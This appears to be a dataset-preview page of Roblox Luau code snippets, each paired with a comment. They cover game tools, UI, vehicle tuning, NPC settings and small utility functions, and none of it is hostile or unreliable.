	if Humanoid then
		if Humanoid.RigType == Enum.HumanoidRigType.R15 then
			Animations = {
				Sit = {Animation = Tool:WaitForChild("SitR15"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil},
			}
		else
			Animations = {
				Sit = {Animation = Tool:WaitForChild("Sit"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil},
			}
		end
	end
	Tool.Grip = Grips.Normal
	ToolEquipped = true
end
function Unequipped()
	Flying = false
	for i, v in pairs({FlightSpin, FlightPower, FlightHold}) do
		if v and v.Parent then
			v:Destroy()
		end
	end
	CleanUp()
	Handle.Transparency = 0
	ToolEquipped = false
end
function OnServerInvoke(player, mode, value)
	if player ~= Player or not ToolEquipped or not value or not CheckIfAlive() then
		return
	end
end
function InvokeClient(Mode, Value)
	local ClientReturn = nil
	pcall(function()
		ClientReturn = ClientControl:InvokeClient(Player, Mode, Value)
	end)
	return ClientReturn
end
CleanUp()
ServerControl.OnServerInvoke = OnServerInvoke
Tool.Activated:connect(Activated)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
 
 | 
					
	--Player_UI.Player_IMG.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username=" ..Player.Name 
 | 
	
Player_UI.Player_Name.Text = Player.Name
Player_UI.Player_Cash.Text = Cash.Value.."$"
Cash.Changed:connect(function()
	Player_UI.Player_Cash.Text = Cash.Value .. "$"
end)
 
 | 
					
	--[=[
	Converts to the string to lowerCamelCase
	@param str string
	@return string
]=] 
 | 
	
function String.toLowerCamelCase(str: string): string
	str = str:lower()
	str = str:gsub("[ _](%a)", string.upper)
	str = str:gsub("^%a", string.lower)
	str = str:gsub("%p", "")
	return str
end
 
 | 
					
	--[=[
	Stops the timer.
]=] 
 | 
	
function Timer:Stop()
	if not self._runHandle then return end
	self._runHandle:Disconnect()
	self._runHandle = nil
end
 
 | 
					
	-- Functions 
 | 
	
local function closeMenu()
	tpMenu.Enabled = false
end
b_close.MouseButton1Click:Connect(closeMenu)
 
 | 
					
	----------------------------------------------------------------------------------------------- 
 | 
	
script.Parent:WaitForChild("Speedo")
script.Parent:WaitForChild("Tach")
script.Parent:WaitForChild("ln")
script.Parent:WaitForChild("Gear")
script.Parent:WaitForChild("Speed")
local player=game.Players.LocalPlayer
local mouse=player:GetMouse()
local car = script.Parent.Parent.Car.Value
car.DriveSeat.HeadsUpDisplay = false
local _Tune = require(car["A-Chassis Tune"])
local _pRPM = _Tune.PeakRPM
local _lRPM = _Tune.Redline
local currentUnits = 1
local revEnd = 8
local intach = car.Body.Dash.D.G.Tac.Needle
local inspd = car.Body.Dash.D.G.Spd.Needle 
 | 
					
	-- create a ScreenGui 
 | 
	
local screenGui = Instance.new("ScreenGui", playerGui)
 
 | 
					
	--Wheel Alignment (Dont physically align the wheels, use these values) 
 | 
	
Tune.FCamber		= -2
Tune.RCamber		= 0
Tune.FToe			= 0
Tune.RToe			= 0
Tune.FCaster		= 0
Tune.RCaster		= 0
Tune.StAxisOffset	= 0
 
 | 
					
	-- Etc 
 | 
	
local DESTROY_ON_DEATH = getValueFromConfig("DestroyOnDeath")
local RAGDOLL_ENABLED = getValueFromConfig("RagdollEnabled")
local DEATH_DESTROY_DELAY = game.ServerStorage.Respaw.Garcom.Value
local PATROL_WALKSPEED = 8
local MIN_REPOSITION_TIME = 2
local MAX_REPOSITION_TIME = 10
local MAX_PARTS_PER_HEARTBEAT = 50
local ATTACK_STAND_TIME = 1
local HITBOX_SIZE = Vector3.new(5, 3, 5)
local SEARCH_DELAY = 1
local ATTACK_RANGE = 3
local ATTACK_DELAY = 1
local ATTACK_MIN_WALKSPEED = 8
local ATTACK_MAX_WALKSPEED = 15
 
 | 
					
	------------------------------------------------------------------------
-- stuff 
 | 
	
do
	script.Parent.Equipped:connect(function()
		if player == nil then
			player = game.Players:GetPlayerFromCharacter(script.Parent.Parent)
		end
		if character == nil or character.Parent == nil then
			character = script.Parent.Parent
			humanoid = character.Humanoid
				isR15 = humanoid.RigType == Enum.HumanoidRigType.R15
			rightHand = isR15 and character:WaitForChild("RightHand") or character:WaitForChild("Right Arm")
		end
		local getWeld = rightHand:WaitForChild("RightGrip")		
		local motor = Instance.new("Motor6D")
		motor.Name = motorName
		motor.Part0 = getWeld.Part0
		motor.Part1 = getWeld.Part1
		motor.C0 = script.Parent.GripWeld.C0
		--motor.C1 = getWeld.C1
		
		getWeld:Destroy()
		motor.Parent = rightHand
	end)
end
 
 | 
					
			Subsets and Splits
				
	
				
			
				
No community queries yet
The top public SQL queries from the community will appear here once available.